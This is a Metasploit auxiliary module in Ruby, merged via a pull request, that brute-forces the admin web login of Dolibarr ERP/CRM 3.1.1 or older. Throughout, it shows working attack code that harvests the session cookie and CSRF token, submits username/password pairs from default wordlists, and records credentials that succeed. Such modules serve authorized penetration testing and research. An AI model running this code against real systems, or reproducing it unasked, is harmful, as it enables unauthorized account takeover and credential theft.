Merge pull request #318 from wchen-r7/dolibarr_login
Add an aux module to brute force Dolibarr's login interfaceunstable
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Auxiliary::Report
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::AuthBrute
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Dolibarr ERP & CRM 3 Login Utility',
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'Description' => %q{
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This module attempts to authenticate to a Dolibarr ERP/CRM's admin web intarface,
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and should only work against version 3.1.1 or older, because these versions do not
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have any default protections against brute-forcing.
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},
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'Author' => [ 'sinn3r' ],
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'License' => MSF_LICENSE
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))
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register_options(
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[
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Opt::RPORT(80),
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OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line",
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File.join(Msf::Config.install_root, "data", "wordlists", "http_default_userpass.txt") ]),
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OptPath.new('USER_FILE', [ false, "File containing users, one per line",
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File.join(Msf::Config.install_root, "data", "wordlists", "http_default_users.txt") ]),
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OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
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File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ]),
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OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/'])
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], self.class)
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end
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def get_sid_token
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res = send_request_raw({
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'method' => 'GET',
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'uri' => @uri.path
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})
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# Get the session ID from the cookie
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m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/)
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id = (m.nil?) ? nil : m[1]
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# Get the token from the decompressed HTTP body response
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m = res.body.match(/type="hidden" name="token" value="(.+)"/)
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token = (m.nil?) ? nil : m[1]
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return id, token
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end
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def do_login(user, pass)
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#
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# Get a new session ID/token. That way if we get a successful login,
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# we won't get a false positive due to reusing the same sid/token.
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#
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sid, token = get_sid_token
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if sid.nil? or token.nil?
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print_error("#{@peer} - Unable to obtain session ID or token, cannot continue")
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return :abort
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else
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vprint_status("#{@peer} - Using sessiond ID: #{sid}")
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vprint_status("#{@peer} - Using token: #{token}")
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end
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begin
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "#{@uri.path}index.php",
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'cookie' => sid,
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'vars_post' => {
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'token' => token,
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'loginfunction' => 'loginfunction',
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'tz' => '-6',
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'dst' => '1',
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'screenwidth' => '1093',
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'screenheight' => '842',
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'username' => user,
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'password' => pass
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}
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})
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rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
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vprint_error("#{@peer} - Service failed to respond")
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return :abort
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end
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location = res.headers['Location']
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if location =~ /admin\//
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print_good("#{@peer} - Successful login: \"#{user}:#{pass}\"")
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report_auth_info({
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:host => rhost,
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:port => rport,
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:sname => (ssl ? 'https' : 'http'),
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:user => user,
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:pass => pass,
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:proof => location,
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:source_type => 'user_supplied'
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})
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return :next_user
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else
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vprint_error("#{@peer} - Bad login: \"#{user}:#{pass}\"")
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return
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end
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end
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def run
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@uri = target_uri
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@uri.path << "/" if @uri.path[-1, 1] != "/"
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@peer = "#{rhost}:#{rport}"
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each_user_pass { |user, pass|
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vprint_status("#{@peer} - Trying \"#{user}:#{pass}\"")
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do_login(user, pass)
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}
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end
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end
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